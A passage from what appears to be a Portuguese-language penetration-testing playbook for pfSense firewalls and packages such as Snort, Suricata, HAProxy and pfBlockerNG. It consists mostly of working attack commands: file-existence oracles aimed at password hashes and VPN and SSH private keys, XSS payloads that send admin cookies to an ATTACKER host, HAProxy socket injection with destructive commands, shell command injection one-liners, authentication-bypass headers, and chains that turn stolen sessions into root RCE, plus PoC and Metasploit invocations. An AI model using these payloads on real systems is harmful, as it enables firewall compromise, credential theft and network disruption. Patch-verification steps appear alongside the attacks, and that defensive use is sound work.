          /var/etc/openvpn/server1.key /var/etc/ipsec/ipsec.secrets; do
  result=$(curl -sk -b cookies.jar https://TARGET/snort/snort_ip_reputation.php \
    -d "mode=wlist_add&iplist=${f}&id=0&csrf_magic=${CSRF}" \
    | grep -c "could not be found")
  [ "$result" -eq 0 ] && echo "[EXISTE] $f" || echo "[      ] $f"
  CSRF=$(curl -sk -b cookies.jar https://TARGET/snort/snort_ip_reputation.php?id=0 \
    | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
done
```

#### Alvos de Alta Prioridade para Enumeração
```
CRÍTICO  /etc/master.passwd            → hashes bcrypt de todos os usuários
CRÍTICO  /cf/conf/config.xml           → config completo (sempre existe)
CRÍTICO  /root/.ssh/authorized_keys    → chaves SSH de root
CRÍTICO  /etc/ssh/ssh_host_rsa_key     → chave privada SSH do host
CRÍTICO  /var/etc/openvpn/server1.key  → chave privada OpenVPN
CRÍTICO  /var/etc/ipsec/swanctl.conf   → PSKs IPSec
CRÍTICO  /var/etc/ipsec/ipsec.secrets  → segredos IPSec em texto plano
ALTO     /var/etc/openvpn/server1.conf → config OpenVPN (confirma serviço)
ALTO     /var/etc/ipsec/ipsec.conf     → config IPSec
MÉDIO    /usr/local/www/pfblockerng/   → pfBlockerNG instalado?
MÉDIO    /usr/local/www/suricata/      → Suricata instalado?
MÉDIO    /usr/local/www/haproxy/       → HAProxy instalado?
IOC      /usr/local/www/backdoor.php   → webshell plantado?
IOC      /usr/local/www/pfsense_shell.php → shell de CVE-2025-12490?
```

### 4.4 CVE-2025-34172 — XSS + HAProxy Socket Injection (HAProxy <= 0.63_10)
> **Pacote afetado:** HAProxy <= 0.63_10 em CE 2.8.0/2.8.1 e Plus 25.07/25.07.1
> **CVSS v3.1:** 6.1 (`PR:N` — stats page pode ser pública) | **CWE:** CWE-79
> **Fix:** commit `04d1328` @ pfsense/FreeBSD-ports
> **Nota KEV:** não confirmado em CISA KEV via NVD, OpenCVE ou API do catálogo (consultado 2026-04-29)
>
> **Análise do diff — dois vetores, não apenas XSS:**
> ```php
> // Vulnerável (haproxy_stats.php, pré-patch):
> $sticktablename = $_GET['showsticktablecontent'];
> echo "Contents of the sticktable: $sticktablename<br/>";       // XSS: sem htmlspecialchars
> $res = haproxy_socket_command("show table $sticktablename");   // socket injection: sem validação
>
> // Segundo parâmetro:
> $showstatresolversname = $_GET['showstatresolvers'];
> $res = haproxy_socket_command("show resolvers $showstatresolversname");  // socket injection
> ```
> O protocolo HAProxy Management API usa `\n` como separador de comandos →
> injeção de `\n<comando>` executa comandos arbitrários no plano de controle HAProxy.

```bash
# PoC disponível em: pocs/PfSense/CVE-2025-34172/poc.py

# Passo 1: Detectar HAProxy stats page (sem credenciais — PR:N se pública)
python3 pocs/PfSense/CVE-2025-34172/poc.py \
  -t https://TARGET detect

# Passo 2: Confirmar XSS refletido
python3 pocs/PfSense/CVE-2025-34172/poc.py \
  -t https://TARGET -u admin -p pfsense xss

# Passo 3: Confirmar HAProxy socket injection
python3 pocs/PfSense/CVE-2025-34172/poc.py \
  -t https://TARGET -u admin -p pfsense socket-inject

# Passo 4: Gerar URL de exploração XSS → roubo de sessão
python3 pocs/PfSense/CVE-2025-34172/poc.py \
  -t https://TARGET --callback http://ATTACKER:8080 craft-xss

# Passo 5 (terminal separado): capturar cookie admin via XSS
python3 pocs/PfSense/CVE-2025-34172/poc.py listen --port 8080

# Manual — XSS prova de conceito (sem credenciais, se page for pública):
curl -sk "https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=<img+src=x+onerror=alert(1)>" \
  | grep -o "sticktable.*" | head -3

# Manual — HAProxy socket injection (newline via %0a):
# Injeta "show info" após o nome de tabela inválido
# Se vulnerável, resposta incluirá Version:, Nbthread:, Uptime: etc.
curl -sk -b cookies.jar \
  "https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=xxx%0ashow+info" \
  | grep -E "Version:|Nbthread:|Uptime:|node:"

# Exemplos de comandos HAProxy destrutivos via socket injection
# (substituir backend/server por valores enumerados via "show stat"):
# set server <backend>/<srv> addr <attacker_ip>  → redirecionar tráfego de backend (MITM)
# set server <backend>/<srv> state maint         → derrubar servidor do pool
# disable server <backend>/<srv>                 → desabilitar backend
# shutdown sessions server <backend>/<srv>       → matar todas as conexões ativas

# Enumerar backends disponíveis antes da injeção:
curl -sk -b cookies.jar \
  "https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=xxx%0ashow+stat" \
  | grep -E "^[^#].*BACKEND|^[^#].*SERVER" | cut -d',' -f1,2,18 | head -20
```

#### Cadeia Completa: XSS → Session Hijack → RCE
```bash
# 1. Obter lista de backends via socket injection (após autenticação)
curl -sk -b cookies.jar \
  "https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=xxx%0ashow+info" | head -20

# 2. Enviar URL XSS para admin autenticado (phishing interno)
#    URL: https://TARGET/haproxy/haproxy_stats.php?showsticktablecontent=<payload>

# 3. Cookie capturado → usar em diag_command.php para RCE
STOLEN_SESSION="PHPSESSID=abc123"
CSRF=$(curl -sk -b "$STOLEN_SESSION" https://TARGET/diag_command.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b "$STOLEN_SESSION" https://TARGET/diag_command.php \
  -d "txtCommand=id&submit=EXEC&csrf_magic=${CSRF}" | grep -A3 "cmdoutput"
```

### 4.5 CVE-2025-34175 — Reflected XSS via suricata_filecheck.php (Suricata <= 7.0.8_3)
> **Pacote afetado:** Suricata 7.0.8_3
> **CVSS:** 6.1 (Medium) | **CWE:** CWE-79 | **Fix:** commit `97852cc` no FreeBSD-ports (mesmo commit corrige CVE-2025-34176, 34177, 34178)
>
> **Análise do diff do patch:**
> Parâmetro `filehash` (GET) era refletido em 7 atributos href externos sem `urlencode()`.
> Fix adicionou `urlencode($file_hash)` em todos os 7 contextos.
> PR:N no CVSS porque o atacante não precisa de credenciais para craftar a URL maliciosa —
> a vítima (admin autenticado) é quem visita a página.

#### Contextos de reflexão (7 href externos)
```
https://www.virustotal.com/gui/file/{hash}/detection/
https://www.hybrid-analysis.com/sample/{hash}
https://virusscan.jotti.org/en-US/search/hash/{hash}
https://metadefender.opswat.com/results/file/{hash}/hash/overview?lang=en
https://www.joesandbox.com/search?q={hash}
https://opentip.kaspersky.com/{hash}/
https://beta.virusbay.io/sample/browse?q={hash}
```

#### Técnica de injeção
```
filehash = abc" onclick="alert(document.cookie)" x="

HTML resultante (em todos os 7 links):
<a href="https://www.virustotal.com/gui/file/abc" onclick="alert(document.cookie)" x=""/detection/">
```

#### Verificação manual
```bash
# 1. Detectar pacote Suricata (sem credenciais)
curl -sk "https://TARGET/suricata/suricata_filecheck.php" -o /dev/null -w "%{http_code}"
# 200 → instalado, 404 → não instalado, 302 → requer auth

# 2. Verificar reflexão raw (com credenciais)
HASH='testprobe"xss='
HASH_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$HASH'))")
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_filecheck.php?filehash=${HASH_ENC}" \
  | grep -o 'virustotal.com/gui/file/[^"]*' | head -3
# Se vulnerável → retorna: virustotal.com/gui/file/testprobe"xss=
# Se patchado  → retorna: virustotal.com/gui/file/testprobe%22xss%3D

# 3. Craft URL de ataque (sem credenciais — atacante externo)
PAYLOAD='"><img src=x onerror=alert(document.domain)>'
PAYLOAD_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
echo "URL maliciosa: https://TARGET/suricata/suricata_filecheck.php?filehash=${PAYLOAD_ENC}"

# 4. Com callback para roubo de sessão
PAYLOAD='"><img src=x onerror="fetch('"'"'http://ATTACKER:8080?c='"'"'+document.cookie)">'
PAYLOAD_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"${PAYLOAD}\"))")
echo "URL de roubo: https://TARGET/suricata/suricata_filecheck.php?filehash=${PAYLOAD_ENC}"

# 5. Usar sessão capturada para RCE
STOLEN="PHPSESSID=<VALOR_CAPTURADO>"
CSRF=$(curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
  -d "txtCommand=id&submit=EXEC&__csrf_magic=${CSRF}" \
  | grep -A3 "cmdoutput"
```

#### CVEs do mesmo commit (97852cc)
```bash
# CVE-2025-34176 — suricata_ip_reputation.php (espelho do CVE-2025-34173 para Suricata)
# iplist sem basename() → file_exists() em path arbitrário → file existence oracle
# Mesma técnica do CVE-2025-34173 (Snort), substituir endpoint:
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_ip_reputation.php" \
  -d "iplist=/etc/master.passwd&..." | grep -c "could not be found"

# CVE-2025-34177 — suricata_flow_stream.php (Stored XSS via policy_name)
# CVE-2025-34178 — suricata_app_parsers.php (Stored XSS via policy_name)
# policy_name salvo em config.xml sem sanitização → XSS stored (mesma técnica CVE-2025-34174)
curl -sk -b cookies.jar https://TARGET/suricata/suricata_flow_stream.php \
  -d 'policy_name="><img src=x onerror=alert(1)>&...' | grep -c "policy_name"
```

# PoC disponível em: pocs/PfSense/CVE-2025-34175/poc.py
```bash
pip install requests

# Detectar (sem credenciais)
python3 pocs/PfSense/CVE-2025-34175/poc.py \
  -t https://TARGET detect

# Verificar reflexão (com credenciais)
python3 pocs/PfSense/CVE-2025-34175/poc.py \
  -t https://TARGET -u admin -p pfsense verify

# Gerar URL maliciosa (sem credenciais — lado do atacante)
python3 pocs/PfSense/CVE-2025-34175/poc.py \
  -t https://TARGET craft-xss

# Com callback para captura de cookies
python3 pocs/PfSense/CVE-2025-34175/poc.py \
  -t https://TARGET craft-xss --callback http://ATTACKER:8080

# Listener para capturar sessões
python3 pocs/PfSense/CVE-2025-34175/poc.py listen --port 8080

# Cadeia completa → RCE
python3 pocs/PfSense/CVE-2025-34175/poc.py \
  -t https://TARGET -u admin -p pfsense chain-rce \
  --callback http://ATTACKER:8080 --shell-cmd "id"
```

### 4.7 CVE-2025-34177 e CVE-2025-34178 — Stored XSS via policy_name (Suricata <= 7.0.8_3)
> **Pacote afetado:** Suricata 7.0.8_3
> **CVSS:** 5.4 (Medium) ambas | **CWE:** CWE-79 | **Fix:** commit `97852cc`
>
> Dois arquivos PHP do Suricata gerenciam políticas de engine em subsistemas diferentes.
> Ambos salvam `policy_name` sem `htmlspecialchars()` no `config.xml` e refletem
> o valor via `gettext($v['name'])` sem encoding na tabela de políticas.
>
> **CVE-2025-34177** → `suricata_flow_stream.php` → Host OS Policy (TCP/stream engine)
> `config.xml`: `installedpackages/suricata/rule/{id}/host_os_policy/item[n][name]`
>
> **CVE-2025-34178** → `suricata_app_parsers.php` → libhtp Policy (HTTP parser engine)
> `config.xml`: `installedpackages/suricata/rule/{id}/libhtp_policy/item[n][name]`

#### Código vulnerável (idêntico em ambos os arquivos)
```php
// PRÉ-PATCH — armazenamento:
$engine['name'] = $policy_name;               // sem sanitização → write_config()

// PRÉ-PATCH — reflexão na tabela:
<td><?=gettext($v['name'])?></td>             // gettext() não faz HTML encoding
<td><?=gettext($v['bind_to'])?></td>

// PÓS-PATCH (commit 97852cc):
<td><?=htmlspecialchars(gettext($v['name']))?></td>
<td><?=htmlspecialchars(gettext($v['bind_to']))?></td>

// PRÉ-PATCH — hidden inputs (modo select_alias) — também vulneráveis:
// CVE-34177: 5 campos (eng_name, eng_bind, eng_policy, eng_id, id)
// CVE-34178: 9 campos (+eng_personality, +eng_req/resp_body_limit, +3 eng_enable_*)
print('<input ... value="' . $eng_name . '"/>');   // sem htmlspecialchars!
```

#### Verificação manual
```bash
# 1. Confirmar que suricata está instalado
curl -sk "https://TARGET/suricata/suricata_flow_stream.php" -o /dev/null -w "%{http_code}"
curl -sk "https://TARGET/suricata/suricata_app_parsers.php" -o /dev/null -w "%{http_code}"
# 302 → instalado, 404 → não instalado

# 2. Plantar XSS no Host OS Policy (CVE-2025-34177)
CSRF=$(curl -sk -b cookies.jar https://TARGET/suricata/suricata_flow_stream.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b cookies.jar https://TARGET/suricata/suricata_flow_stream.php \
  -d "mode=save_os_policy&policy_name=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E\
&policy_bind_to=all&policy=BSDHOME&id=0&csrf_magic=${CSRF}"

# 3. Plantar XSS no libhtp Policy (CVE-2025-34178)
CSRF=$(curl -sk -b cookies.jar https://TARGET/suricata/suricata_app_parsers.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b cookies.jar https://TARGET/suricata/suricata_app_parsers.php \
  -d "mode=save_libhtp_policy&policy_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(1)%3E\
&policy_bind_to=all&policy_personality=IDS\
&policy_req_body_limit=4096&policy_resp_body_limit=4096\
&policy_meta_field_limit=18432\
&policy_enable_double_decode_path=no&policy_enable_double_decode_query=no\
&policy_enable_uri_include_all=no&id=0&csrf_magic=${CSRF}"

# 4. Verificar payload armazenado
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_flow_stream.php?id=0" \
  | grep -o '<td>[^<]*onerror[^<]*</td>'
curl -sk -b cookies.jar "https://TARGET/suricata/suricata_app_parsers.php?id=0" \
  | grep -o '<td>[^<]*onerror[^<]*</td>'
# Se vulnerável → retorna <td>"><img src=x onerror=...></td>
# Se patchado  → retorna <td>&quot;&gt;&lt;img...&lt;/td>

# 5. Usar sessão roubada para RCE
STOLEN="PHPSESSID=<VALOR_CAPTURADO>"
CSRF=$(curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b "$STOLEN" https://TARGET/diag_command.php \
  -d "txtCommand=id&submit=EXEC&__csrf_magic=${CSRF}" | grep -A3 cmdoutput
```

# PoCs disponíveis:
```bash
pip install requests

# CVE-2025-34177 — suricata_flow_stream.php
python3 pocs/PfSense/CVE-2025-34177/poc.py -t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34177/poc.py \
  -t https://TARGET -u admin -p pfsense plant-xss --callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34177/poc.py \
  -t https://TARGET -u admin -p pfsense verify
python3 pocs/PfSense/CVE-2025-34177/poc.py \
  -t https://TARGET -u admin -p pfsense chain-rce --callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34177/poc.py listen --port 8080

# CVE-2025-34178 — suricata_app_parsers.php
python3 pocs/PfSense/CVE-2025-34178/poc.py \
  -t https://TARGET -u admin -p pfsense plant-xss --callback http://ATTACKER:8080
python3 pocs/PfSense/CVE-2025-34178/poc.py \
  -t https://TARGET -u admin -p pfsense verify
python3 pocs/PfSense/CVE-2025-34178/poc.py \
  -t https://TARGET -u admin -p pfsense chain-rce --callback http://ATTACKER:8080

# Plantar em ambos simultaneamente (redundância — persiste mesmo se um for limpo)
for poc in CVE-2025-34177 CVE-2025-34178; do
  python3 pocs/PfSense/${poc}/poc.py \
    -t https://TARGET -u admin -p pfsense plant-xss --callback http://ATTACKER:8080
done
```

### 4.6 CVE-2025-34176 — File Existence Oracle via suricata_ip_reputation.php (Suricata <= 7.0.8_3)
> **Pacote afetado:** Suricata 7.0.8_3 (PORTREVISION <= 3)
> **CVSS:** 4.3 (Medium) | **CWE:** CWE-22 | **Fix:** commit `97852cc` (mesmo da CVE-2025-34175)
>
> **Espelho exato do CVE-2025-34173 (Snort)** — mesma falha em pacote diferente.
> Parâmetro POST `iplist` passado diretamente para `file_exists()` sem `basename()`.
> Dois modos vulneráveis: `iprep_catlist_add` e `iplist_add`.
> Fix: `file_exists($iprep_path . basename($_POST['iplist']))` onde
> `$iprep_path = SURICATA_IPREP_PATH = /var/db/suricata/iprep/`

#### Diferenças Snort (CVE-2025-34173) vs Suricata (CVE-2025-34176)
```
                     CVE-2025-34173 (Snort)      CVE-2025-34176 (Suricata)
Endpoint:       /snort/snort_ip_reputation.php  /suricata/suricata_ip_reputation.php
Modos POST:     blist_add / wlist_add            iprep_catlist_add / iplist_add
Path base:      /var/db/snort/iprep/            /var/db/suricata/iprep/
Fix commit:     d6f462b                         97852cc
CVSS:           4.3                             4.3
Padrão de bug:  idêntico                        idêntico
```

#### Verificação manual
```bash
# 1. Detectar Suricata instalado
curl -sk "https://TARGET/suricata/suricata_ip_reputation.php" \
  -o /dev/null -w "%{http_code}"
# 302 → instalado mas requer auth; 404 → não instalado

# 2. Oracle — verificar existência de arquivo (com sessão autenticada)
# Estado 1 — arquivo NÃO existe:
curl -sk -b cookies.jar https://TARGET/suricata/suricata_ip_reputation.php \
  -d "mode=iplist_add&iplist=/etc/shadow_nao_existe&id=0&csrf_magic=TOKEN" \
  | grep -o "could not be found"
# → "could not be found" (arquivo não existe)

# Estado 2 — arquivo existe (já na lista):
curl -sk -b cookies.jar https://TARGET/suricata/suricata_ip_reputation.php \
  -d "mode=iplist_add&iplist=/etc/master.passwd&id=0&csrf_magic=TOKEN" \
  | grep -o "already assigned"
# → "already assigned" (existe, sem side-effect)

# Estado 3 — arquivo existe (adicionado ao config — limpar depois):
# → resposta sem erros, HTTP 200

# 3. Detectar se ambos Snort + Suricata estão instalados (dobrar cobertura)
for pkg in snort suricata; do
  code=$(curl -sk "https://TARGET/${pkg}/${pkg}_ip_reputation.php" \
    -o /dev/null -w "%{http_code}")
  echo "$pkg: HTTP $code"
done

# 4. Enumeração de alvos de alto valor (após autenticação)
python3 pocs/PfSense/CVE-2025-34176/poc.py \
  -t https://TARGET -u admin -p pfsense enum

# 5. Arquivo específico
python3 pocs/PfSense/CVE-2025-34176/poc.py \
  -t https://TARGET -u admin -p pfsense check --path /cf/conf/config.xml

# 6. Chain completa: oracle → leitura de arquivo
python3 pocs/PfSense/CVE-2025-34176/poc.py \
  -t https://TARGET -u admin -p pfsense chain-read
```

#### Cadeia de Exploração
```
CVE-2025-34176 (oracle Suricata)  OU  CVE-2025-34173 (oracle Snort)
       ↓ descobre que /etc/master.passwd e /cf/conf/config.xml existem
CVE-2025-53392 (dlPath)
       ↓ lê os arquivos confirmados
Hashes bcrypt + PSKs VPN + chaves privadas
       ↓ hashcat + análise
Comprometimento de credenciais + VPNs
```

# PoC disponível em: pocs/PfSense/CVE-2025-34176/poc.py
```bash
pip install requests

python3 pocs/PfSense/CVE-2025-34176/poc.py -t https://TARGET detect
python3 pocs/PfSense/CVE-2025-34176/poc.py \
  -t https://TARGET -u admin -p pfsense enum
python3 pocs/PfSense/CVE-2025-34176/poc.py \
  -t https://TARGET -u admin -p pfsense check --path /etc/master.passwd
python3 pocs/PfSense/CVE-2025-34176/poc.py \
  -t https://TARGET -u admin -p pfsense chain-read
```

### 4.8 CVE-2024-54779 — Stored XSS + XML Injection via Dashboard Log Widget (CE < 2.8.0)
> **Arquivo:** `widgets/widgets/log.widget.php`
> **CVSS:** 5.4 (Medium) | **CWE:** CWE-79 + CWE-91 | **Fix commits:** `04b74da`, `6b42147`, `ff50e62`
>
> Dois vetores distintos na mesma funcionalidade de salvar configurações do widget:
> 1. **Stored XSS**: `filterlogentriesinterval` salvo sem validação numérica e injetado
>    diretamente no contexto JavaScript: `logsObject.freq = <?=$nentriesinterval?>;`
> 2. **XML Injection**: `widgetkey` não validado é usado como chave PHP que vira nome
>    de elemento XML em `config.xml`. Widgetkey malformado pode corromper a config.

#### Análise do Código Vulnerável

```php
// log.widget.php (pré-patch CE < 2.8.0)

// Sem is_valid_widgetkey() → qualquer widgetkey aceito:
if ($_POST['widgetkey'] || $_GET['widgetkey']) {
    $widgetkey = $_POST['widgetkey'];  // ← sem validação
}

// Sem is_numeric() → qualquer valor salvo:
$user_settings['widgets'][$widgetkey]['filterlogentriesinterval']
    = $_POST['filterlogentriesinterval'];  // ← string arbitrária

// Na renderização do dashboard (sink):
$nentriesinterval = $user_settings['widgets'][$widgetkey]['filterlogentriesinterval'] ?? 60;
// ...
logsObject.freq = <?=$nentriesinterval?>;  // ← injeção JS direta (linha 415)

// CORRIGIDO (CE 2.8.0):
if (is_valid_widgetkey($rwidgetkey, $user_settings, __FILE__)) { ... }
$nentriesinterval = is_numeric(...) ? $val : 60;
```

#### Vetor XSS — Payload

```
# Sink JS:  logsObject.freq = <PAYLOAD>;
# Payload:  1;alert(document.domain)//
# Resultado: logsObject.freq = 1;alert(document.domain)//;

# Payload de cookie-theft:
1;(function(){var i=new Image();i.src='http://ATTACKER/?c='+encodeURIComponent(document.cookie)})()//
```

#### Vetor XML Injection — Estrutura

```
# widgetkey malformado:
log-0></log-0><malicious>INJECTED</malicious><!--

# Efeito em config.xml (seção widgets do usuário):
<log-0></log-0>
<malicious>INJECTED</malicious>
<!-- ← corta o restante como comentário XML

# RISCO: pode forçar factory reset para recuperar config.xml
# Em cluster HA: propagado via XMLRPC sync → impacto em todos os nós
```

#### Exploração com PoC

```bash
# 1. Detectar vulnerabilidade
python3 pocs/PfSense/CVE-2024-54779/poc.py \
  -t https://TARGET -u admin -p pfsense detect

# 2. Plantar XSS com cookie-theft
python3 pocs/PfSense/CVE-2024-54779/poc.py \
  -t https://TARGET -u admin -p pfsense plant-xss \
  --callback http://ATTACKER:8080

# 3. Listener para cookie (em outro terminal)
python3 pocs/PfSense/CVE-2024-54779/poc.py \
  listen --port 8080

# 4. Verificar reflexão no JS
python3 pocs/PfSense/CVE-2024-54779/poc.py \
  -t https://TARGET -u admin -p pfsense verify

# 5. Cleanup (resetar para valor seguro)
python3 pocs/PfSense/CVE-2024-54779/poc.py \
  -t https://TARGET -u admin -p pfsense cleanup

# 6. Demonstrar XML injection (dry-run)
python3 pocs/PfSense/CVE-2024-54779/poc.py \
  -t https://TARGET -u admin -p pfsense xml-inject --dry-run
```

#### Cadeia Completa: XSS → Acesso Admin → RCE

```
CVE-2024-54779 (Stored XSS)
  ↓ filterlogentriesinterval = 1;(img.src=ATTACKER+cookie)//
  ↓ admin carrega dashboard → cookie exfiltrado
  ↓
Sessão admin sequestrada
  ↓
diag_command.php (exec como root)
  ↓
RCE completo + CVE-2025-53392 (leitura de arquivos)
```

### 4.10 Verificar pfBlockerNG (Pacote — Alta Severidade)
```bash
# Verificar se pfBlockerNG está instalado
curl -sk -b cookies.txt https://TARGET/pfblockerng/pfblockerng.php | grep -i pfblocker

# CVE-2022-31814 — Path Traversal → RCE sem autenticação
# Usar PoC dedicada
python3 pocs/PfSense/CVE-2022-31814/poc.py -u https://TARGET detect
python3 pocs/PfSense/CVE-2022-31814/poc.py -u https://TARGET check-package

# LFI manual (se aplicável)
curl -sk "https://TARGET/pfblockerng/www/index.php?pfb_logfile=/etc/passwd" | head -20
curl -sk "https://TARGET/pfblockerng/pfblockerng_alerts.php?pfb_logfile=/etc/passwd"

# CVE-2022-40624 — Host Header RCE (sem autenticação, EPSS 84.7%)
# Teste time-based detection
time curl -sk -o /dev/null -H "Host: 127.0.0.1; sleep 5; #" \
  "https://TARGET/pfblockerng/index.php"
# Vulnerável: >5 segundos | Patched: <1 segundo

# Executar comando para confirmar
curl -sk -H "Host: 127.0.0.1; id; #" \
  "https://TARGET/pfblockerng/index.php"

# Usar PoC dedicada
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET check-package
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "id"

# Nuclei — CVE-2022-31814
nuclei -u https://TARGET -t cves/2022/CVE-2022-31814.yaml -silent

# Metasploit — CVE-2022-31814
# msfconsole
# use exploit/freebsd/http/pfsense_pfblockerng_rce
# set RHOSTS TARGET
# set RPORT 443
# run
```

### 4.11 Verificar CVE-2023-42326 (Command Injection via Interfaces GIF/GRE)
```bash
# Afeta CE < 2.7.0, Plus < 23.05.1 — Command Injection em interfaces_gif_edit.php e interfaces_gre_edit.php
# Parâmetro gifif/greif usado diretamente em mwexec() sem escapeshellarg()
# EPSS: 84.8% | CVSS: 8.8 High | Fix: commit d69d6c8424

# Usar PoC dedicada
python3 pocs/PfSense/CVE-2023-42326/poc.py -u https://TARGET -a PHPSESSID=xxx detect

# Explorar via interface GIF
python3 pocs/PfSense/CVE-2023-42326/poc.py -u https://TARGET -a PHPSESSID=xxx \
  exploit --cmd "id" --type gif

# Explorar via interface GRE
python3 pocs/PfSense/CVE-2023-42326/poc.py -u https://TARGET -a PHPSESSID=xxx \
  exploit --cmd "whoami" --type gre

# Verificar se sistema está patchado
python3 pocs/PfSense/CVE-2023-42326/poc.py -u https://TARGET -a PHPSESSID=xxx check-patch

# Chain com XSS para RCE sem credenciais diretas
# 1. CVE-2023-42328/29/30/31 (XSS) → rouba cookie admin
# 2. CVE-2023-42326 (Command Injection) → RCE como root

# Nuclei (se template disponível)
nuclei -u https://TARGET -t cves/2023/CVE-2023-42326.yaml -silent
```

### 4.12 Verificar CVE-2018-4019 (pfSense Plus RCE)
```bash
# Afeta pfSense Plus — parâmetro não sanitizado → RCE como root

# Usar PoC dedicada (testa múltiplos endpoints)
python3 pocs/PfSense/CVE-2018-4019/poc.py -u https://TARGET -a PHPSESSID=xxx detect
python3 pocs/PfSense/CVE-2018-4019/poc.py -u https://TARGET -a PHPSESSID=xxx \
  exploit --cmd "id"
python3 pocs/PfSense/CVE-2018-4019/poc.py -u https://TARGET -a PHPSESSID=xxx \
  check-patch

# Teste manual em endpoints comuns
curl -sk -X POST "https://TARGET/diag_ping.php" -b "PHPSESSID=xxx" \
  -d "host=127.0.0.1; id; #" -d "Submit=Run"
curl -sk -X POST "https://TARGET/diag_dns.php" -b "PHPSESSID=xxx" \
  -d "host=; uname -a; #" -d "Submit=Lookup"
```

### 4.13 Verificar CVE-2016-10709 (Command Injection via Diagnóstico)
```bash
# Afeta CE < 2.3.0 — injeção de comando em páginas de diagnóstico

# Verificar versão
curl -sk "https://TARGET/version.php" | grep -i pfsense

# Usar PoC dedicada
python3 pocs/PfSense/CVE-2016-10709/poc.py -u https://TARGET -a PHPSESSID=xxx detect
python3 pocs/PfSense/CVE-2016-10709/poc.py -u https://TARGET -a PHPSESSID=xxx \
  exploit --cmd "id"
python3 pocs/PfSense/CVE-2016-10709/poc.py -u https://TARGET -a PHPSESSID=xxx \
  check-patch

# Teste manual — diag_ping.php
curl -sk -X POST "https://TARGET/diag_ping.php" -b "PHPSESSID=xxx" \
  -d "host=127.0.0.1; sleep 5; #" -d "Submit=Run"

# Teste manual — diag_traceroute.php
curl -sk -X POST "https://TARGET/diag_traceroute.php" -b "PHPSESSID=xxx" \
  -d "host=127.0.0.1; cat /etc/passwd; #" -d "Submit=Run"

# Teste manual — diag_dns.php
curl -sk -X POST "https://TARGET/diag_dns.php" -b "PHPSESSID=xxx" \
  -d "host=; id; #" -d "Submit=Lookup"
```

### 4.14 Verificar CVE-2021-27932 (Authentication Bypass)
> **Arquivos afetados:** Múltiplos arquivos do web GUI
> **CVSS v3.1:** 7.5 High (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`) | **CWE:** CWE-287
> **Affected:** pfSense CE < 2.5.1
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2021-27932/poc.py \
>   -t https://TARGET detect
>
> # Verificar bypass em endpoints sensíveis
> python3 pocs/PfSense/CVE-2021-27932/poc.py \
>   -t https://TARGET verify
>
> # Explorar bypass
> python3 pocs/PfSense/CVE-2021-27932/poc.py \
>   -t https://TARGET exploit -e /system_usermanager.php
> ```
>
> **Teste Manual:**
> ```bash
> # Testar X-Forwarded-For bypass
> curl -sk -H "X-Forwarded-For: 127.0.0.1" \
>   "https://TARGET/system_usermanager.php"
>
> # Testar X-Custom-IP-Authorization
> curl -sk -H "X-Custom-IP-Authorization: 127.0.0.1" \
>   "https://TARGET/firewall_rules.php"
>
> # Se bypass funcionar: retorna 200 sem redirect para login.php
> ```

### 4.15 Verificar CVE-2023-42325 (Reflected XSS)
> **Arquivos afetados:** Múltiplas páginas com parâmetros GET
> **CVSS v3.1:** 6.1 Medium (`AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfSense CE < 2.7.0
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-42325/poc.py \
>   -t https://TARGET detect
>
> # Testar payloads específicos
> python3 pocs/PfSense/CVE-2023-42325/poc.py \
>   -t https://TARGET test -p /index.php -P search
>
> # Gerar URL de ataque
> python3 pocs/PfSense/CVE-2023-42325/poc.py \
>   -t https://TARGET exploit \
>   -p /index.php -P search --payload-type cookie
> ```
>
> **Teste Manual:**
> ```bash
> # Testar reflected XSS
> curl -sk "https://TARGET/index.php?search=<script>alert('XSS')</script>" | \
>   grep -i "script"
>
> # Se patch: deve retornar &lt;script&gt; (escapado)
> # Se vulnerável: retorna <script> (executa)
> ```

### 4.16 Verificar CVE-2023-42327 (Stored XSS)
> **Arquivos afetados:** firewall_rules_edit.php, firewall_aliases_edit.php, interfaces.php
> **CVSS v3.1:** 5.4 Medium (`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfSense CE < 2.7.0
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-42327/poc.py \
>   -t https://TARGET -u admin -p password detect
>
> # Explorar XSS via regra de firewall
> python3 pocs/PfSense/CVE-2023-42327/poc.py \
>   -t https://TARGET -u admin -p password exploit \
>   --injection-point "Firewall Rule Description" \
>   --payload-type cookie_steal
>
> # Gerar payloads
> python3 pocs/PfSense/CVE-2023-42327/poc.py payloads
> ```
>
> **Teste Manual:**
> ```bash
> # Criar regra com payload XSS (requer auth)
